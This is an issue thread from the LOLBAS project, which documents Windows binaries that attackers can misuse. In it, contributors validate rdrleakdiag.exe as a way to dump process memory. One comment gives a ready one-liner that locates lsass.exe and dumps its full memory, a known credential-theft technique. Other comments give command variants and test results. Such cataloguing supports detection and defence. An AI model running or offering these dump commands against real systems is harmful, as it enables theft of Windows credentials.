LOLBAS icon indicating copy to clipboard operation
LOLBAS copied to clipboard

Validate process dump method: rdrleakdiag.exe

Open ConsciousHacker opened this issue 4 years ago • 7 comments

rdrleakdiag.exe /p <pid> /o <outputdir> /fullmemdmp /wait 1

Source: https://twitter.com/0gtweet/status/1299071304805560321?s=21

ConsciousHacker avatar Aug 28 '20 14:08 ConsciousHacker

Please do remember about "/snap" instead of "/wait 1" for subsequent dumps. I had some replies on twitter with an information it works only once, and "/snap" looks like a kind of solution for this.

gtworek avatar Aug 28 '20 14:08 gtworek

Will do, thanks for the information!

ConsciousHacker avatar Aug 28 '20 14:08 ConsciousHacker

FYI, you can skip running "wait" for the first run, if you run enable first. This has the added benefit of working regardless of what was already run;

for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rdrleakdiag.exe -p %J -enable & sleep 1 & rdrleakdiag.exe -p %J -o c:\users\maximus\desktop\dumps -fullmemdmp -snap

I found the sleep was necessary to give the diagnostics engine/feature/module(?) time to start before running the dump.

gladiatx0r avatar Aug 31 '20 15:08 gladiatx0r

I just validated this process dump method. Please consider adding this native windows binary to the LOLBAS project.

C:\WINDOWS\system32>rdrleakdiag.exe /p <PID> /o <PATH> /fullmemdmp /snap

tsamuels-r7 avatar Jun 01 '21 17:06 tsamuels-r7

winserver 2019 Copy execution not successful

noob-Engle avatar Oct 18 '21 05:10 noob-Engle

May work if you try again replacing "/wait 1" with "/snap" I have tested it on 10.0.17763.379.

gtworek avatar Oct 18 '21 05:10 gtworek

May work if you try again replacing "/wait 1" with "/snap" I have tested it on 10.0.17763.379.

Well, both have already try, it didn't work.

XiaoliChan avatar Oct 18 '21 06:10 XiaoliChan

#216 has added rdrleakdiag.exe, I'm closing this issue for now.

wietze avatar Oct 04 '22 14:10 wietze